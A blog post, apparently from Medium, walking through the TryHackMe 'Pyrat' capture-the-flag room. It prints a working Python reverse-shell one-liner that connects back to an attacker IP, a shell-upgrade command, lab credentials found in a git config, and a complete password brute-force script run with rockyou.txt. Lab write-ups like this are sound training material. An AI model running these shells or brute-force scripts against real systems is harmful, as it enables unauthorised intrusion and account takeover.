Pyrat — TryHackMe
Helloo! Here is my process with Pyrat from TryHackMe.
Pyrat — TryHackMe
Helloo! Here is my process with Pyrat from TryHackMe.
Prompt:
Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application’s older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.
Finding the “Python code execution vulnerability”
From the prompt: Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability.
Our nmap scan reveals: open ports 22 and 8000

Port 8000 is commonly used by developers and system administrators as an alternative HTTP port for testing.
When we connect to port 8000, we get a http webpage:

“a more basic connection” could be referring to netcat. After playing around, we discover nc 10.49.137.22 8000 is a python interface.

Establishing a reverse shell
From the prompt: “With a cleverly crafted payload, it is possible to gain a shell on the machine”
We want to create a reverse shell on this target’s python interface to connect back to our computer.
We first set up a listener on our computer, then run the reverse shell on the target’s python interface.
I got my commands from this link:
On our computer:
nc -lvnp 1337
On the target’s python interface:
import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.152.80",1337)); os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);

Our computer gets a response from the target’s python interface
Finding credentials
Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials.
Run this command to spawn an interactive bash shell. Makes things easier for us.
python3 -c 'import pty; pty.spawn("/bin/bash")'
A few folders I searched but found nothing/permission denied are: /home/think /home/ubuntu /tmp /usr /var/backups /var/cache /var/log
But finally found info in /var/mail:

This seems to hint towards a Github page, a possibly a .git folder. I use the following command to search for the .git folder.
find / -name ".git" 2>/dev/null

It’s always good to look within a config file! And there we struck gold!

username = think
password = _TH1NKINGPirate$_
Finding the older version
From the prompt: A subsequent exploration yields valuable insights into the application’s older version.
Using the username and password, we ssh into think and get the flag.

Navigating to the /opt/dev folder which contains .git, we run git status and realise that an old file has been deleted. If we can get this old version, we would’ve solved the prompt.

This change has not been committed, so we need to unstage it.
git restore pyrat.py.old

We get this script, but it seems to be unfinished. Following the github josemlwdf from above, we find this page:
Following the Usage instructions from the github, we need to:
- Run Pyrat script on target
- Connect to the target using netcat on our attacker
- Find admin password
From the prompt: Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords.


✔️ 1. The pyrat script is running on the target ✔️ 2. Connect to the target using netcat on our attacker ❌ 3. Find admin password
Script to fuzz passwords:
"""
PyRAT Password Fuzzer
Connects to PyRAT server and brute-forces the admin password using rockyou.txt
"""
import socket
import sys
import time
def connect_and_fuzz(host, port, wordlist_path):
"""
host: Target IP address
port: Target port
wordlist_path: Path to password wordlist (e.g., rockyou.txt)
"""
try:
with open(wordlist_path, 'r', encoding='latin-1') as f:
passwords = f.readlines()
except FileNotFoundError:
print(f"[-] Error: Wordlist not found at {wordlist_path}")
sys.exit(1)
print(f"[*] Loaded passwords from {wordlist_path}")
print(f"[*] Target: {host}:{port}")
print("[*] Starting brute-force attack...\n")
attempt = 0
for password in passwords:
password = password.strip()
if not password:
continue
attempt += 1
# Create new connection for each attempt (PyRAT limits to 3 attempts per connection)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
sock.connect((host, port))
# Send 'admin' command
sock.sendall(b'admin\n')
# Receive "Password:" prompt
response = sock.recv(1024).decode('utf-8', errors='ignore')
# Send password to server
sock.sendall((password + '\n').encode())
# Get response for first password attempt
response = sock.recv(1024).decode('utf-8', errors='ignore')
# If server asks for next password, start new connection
if 'Password' in response:
print(f"Attempting password: {password}")
print("[-] Not the right password\n")
sock.close()
continue
# Check for success
elif 'Welcome Admin' in response or 'shell' in response.lower():
print(f"\n[+] SUCCESS! Password found: {password}")
print(f"[+] Attempts: {attempt}")
break
sock.close()
# No response
else:
print("[-] Unexpected response")
sock.close()
continue
# Run the script
connect_and_fuzz('10.49.146.61', 8000, '/usr/share/wordlists/rockyou.txt')
Output of script:

Using newfound password, we get our way into admin and find root.txt.

Thank you!
메타데이터
- post_id
- 0be3b359e97f
- slug
- pyrat-tryhackme-0be3b359e97f
- url
- https://medium.com/@neoshaoray/pyrat-tryhackme-0be3b359e97f
- canonical_url
- https://medium.com/@neoshaoray/pyrat-tryhackme-0be3b359e97f
- author_url
- https://medium.com/@neoshaoray
- status
- ok
- fetched_at
- 2026-07-14 20:36:01